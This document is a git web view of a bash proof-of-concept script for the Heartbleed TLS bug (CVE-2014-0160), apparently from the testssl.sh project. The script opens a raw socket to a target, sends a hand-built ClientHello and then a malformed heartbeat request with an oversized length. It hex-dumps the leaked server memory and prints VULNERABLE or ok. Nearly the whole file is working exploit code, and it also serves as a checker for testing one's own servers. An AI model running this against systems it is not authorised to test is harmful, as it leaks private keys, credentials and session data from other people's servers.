aboutsummaryrefslogtreecommitdiff
path: root/bash-heartbleed.sh
blob: f7481efdb905d120c9410a80f722c7f6af786ba7 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/bin/bash 

# POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt 
#
# sockets inspired by http://blog.chris007.de/?p=238
# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280
#
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######

NODE=""
SLEEP=2
COL_WIDTH=32

[ -z "$1" ] && exit 1

# TLS 1.0=x01  1.1=0x02, 1.2=0x3
# the PoC contains per default only check for TLS1.0 as the is the least common denominator
TLSV=${2:-x01}

heartbleed_payload="\x18\x03\tls_version\x00\x03\x01\x40\x00"
##                                                   ^^^^^^^ this is the thing!

client_hello="
# TLS header ( 5 bytes)
,x16,               # Content type (x16 for handshake)
x03, tls_version,         # TLS Version
x00, xdc,         # Length
# Handshake header
x01,               # Type (x01 for ClientHello)
x00, x00, xd8,   # Length
x03, tls_version,         # TLS Version
# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
x53, x43, x5b, x90, x9d, x9b, x72, x0b,
xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
xcf, xbd, x39, x04, xcc, x16, x0a, x85,
x03, x90, x9f, x77, x04, x33, xd4, xde,
x00,               # Session ID length
x00, x66,         # Cipher suites length
# Cipher suites (51 suites)
xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
x00, x39, x00, x38, x00, x88, x00, x87,
xc0, x0f, xc0, x05, x00, x35, x00, x84,
xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
x00, x16, x00, x13, xc0, x0d, xc0, x03,
x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
xc0, x1e, x00, x33, x00, x32, x00, x9a,
x00, x99, x00, x45, x00, x44, xc0, x0e,
xc0, x04, x00, x2f, x00, x96, x00, x41,
xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
x00, x05, x00, x04, x00, x15, x00, x12,
x00, x09, x00, x14, x00, x11, x00, x08,
x00, x06, x00, x03, x00, xff,
x01,               # Compression methods length
x00,               # Compression method (x00 for NULL)
x00, x49,         # Extensions length
# Extension: ec_point_formats
x00, x0b, x00, x04, x03, x00, x01, x02,
# Extension: elliptic_curves
x00, x0a, x00, x34, x00, x32, x00, x0e,
x00, x0d, x00, x19, x00, x0b, x00, x0c,
x00, x18, x00, x09, x00, x0a, x00, x16,
x00, x17, x00, x08, x00, x06, x00, x07,
x00, x14, x00, x15, x00, x04, x00, x05,
x00, x12, x00, x13, x00, x01, x00, x02,
x00, x03, x00, x0f, x00, x10, x00, x11,
# Extension: SessionTicket TLS
x00, x23, x00, x00,
# Extension: Heartbeat
x00, x0f, x00, x01, x01
"
msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`


parse_hn_port() {
	PORT=443       # unless otherwise auto-determined, see below
	NODE="$1"

	# strip "https", supposed it was supplied additionally
	echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `

	# strip trailing urlpath
	NODE=`echo $NODE | sed -e 's/\/.*$//'`

	# determine port, supposed it was supplied additionally
	echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed
	's/\:.*$//'`
}

socksend() {
	data=`echo $1 | sed 's/tls_version/'"$2"'/g'`
	echo "\"$data\""
	echo -en "$data" >&5 &
	sleep $SLEEP
}

sockread()
{
	reply=`dd bs=$1 count=1 <&5 2>/dev/null`
}


#### main

parse_hn_port "$1"

if ! exec 5<> /dev/tcp/$NODE/$PORT; then
	echo "`basename $0`: unable to connect to $NODE:$PORT"
	exit 2
fi
# socket is now open with fd 5



echo "##### sending client hello:"
socksend "$msg" $TLSV

sockread 10000 
echo "##### server hello:"
echo -e "$reply" | xxd | head -20
echo "[...]"
echo

echo "##### sending payload with TLS version $TLSV:"
socksend $heartbleed_payload $TLSV

sockread 65534
echo "###### heartbleed reply: "
echo -e "$reply" | xxd -c$COL_WIDTH
echo

lines_returned=`echo -e "$reply" | xxd | wc -l`
if [ $lines_returned -gt 1 ]; then
	tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
	ret=1
else
	tput bold; tput setaf 2; echo "ok"; tput sgr0
	ret=0
fi
echo

exit $ret

#  vim:tw=100:ts=5:sw=5
#  $Id: bash-heartbleed.sh,v 1.6 2014/04/18 12:01:19 dirkw Exp $